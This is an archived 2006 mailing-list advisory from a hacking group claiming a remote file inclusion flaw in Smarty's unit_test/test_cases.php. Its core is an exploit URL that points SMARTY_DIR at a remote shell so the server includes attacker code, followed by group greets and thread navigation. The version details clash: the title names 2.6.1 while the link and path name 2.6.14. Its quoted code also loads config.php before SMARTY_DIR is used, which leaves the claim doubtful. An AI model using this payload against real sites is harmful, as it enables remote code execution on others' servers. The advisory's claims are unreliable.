Smarty-2.6.1 Remote File Include Vulnerabilities

From: crackers_child@xxxxxxxxxxxxxxxxxxx
Date: 23 Oct 2006 16:30:07 -0000

!!!!!!!!!WWW.SiBERSAVASCiLAR.COM!!!!!!!!!
--------------------------------------------------------------------------------

Title : Smarty-2.6.1 Remote File Include Vulnerabilities

--------------------------------------------------------------------------------
#Author: Crackers_Child

#cont@ct: crackers_child@xxxxxxxxxxxxxxxxxxx

--------------------------------------------------------------------------------

------------------------- -------------------------------------------------------

Application Download : http://smarty.php.net/do_download.php?download_file=Smarty-2.6.14.tar.gz

--------------------------------------------------------------------------------
Bug İn test_cases.php

<?php

require_once './config.php';
require_once SMARTY_DIR . 'Smarty.class.php';
require_once 'PHPUnit.php';

--------------------------------------------------------------------------------

Exploit:

http://www.site.com/Smarty-2.6.14/unit_test/test_cases.php?SMARTY_DIR=Sh3ll?

--------------------------------------------------------------------------------

greets:

X_ALPEREN_X and All SiberSavascilar.CoM Members !

--------------------------------------------------------------------------------

--------------------------------- [ WWW.SiBERSAVASCiLAR.COM ] --------------------------------------

Follow-Ups:
- Re: Smarty-2.6.1 Remote File Include Vulnerabilities
  - From: J. Carlos Nieto

Prev by Date: Flaw in Firefox 2.0 Final
Next by Date: SQL Injection Vulnerability in Oracle WWV_FLOW_UTILITIES
Previous by thread: Flaw in Firefox 2.0 Final
Next by thread: Re: Smarty-2.6.1 Remote File Include Vulnerabilities
Index(es):
- Date
- Thread

Relevant Pages

RE: [Full-disclosure] Improper Character Handling In PHP Based Scriptslike PhpBB, IPB etc.
... Make sure you download it and not view it from the browser. ... Copy that whole string and try and post it on any PHP Based blog, forum etc or register a username with that string. ... Is this really a bug in PHP? ...
(Full-Disclosure)
Joomla extended_registration mod Remote File Include Vulnerabilities
... Joomla extended_registration mod Remote File Include Vulnerabilities ... Bug in admin.extended_registration.php ...
(Bugtraq)
Re: RFID chip barcodes can carry a virus
... hardware and firmware for that matter) can be described as a "bug". ... We are not talking about vulnerabilities here. ...
(misc.survivalism)
iDEFENSE Security Advisory 03.31.05: PHP getimagesize() Multiple Denial of Service Vulnerabilities
... PHP getimagesize() Multiple Denial of Service Vulnerabilities ... iDEFENSE has confirmed the existence of these vulnerabilities in PHP ...
(Bugtraq)
Re: php extensions compile error - another compile bug?
... Re: php extensions compile error - another compile bug?: ... Is not triviality is a matter of perspective? ... AFFECTS: users of PHP ... and shared extensions to allow more flexibility and add new features. ...
(freebsd-questions)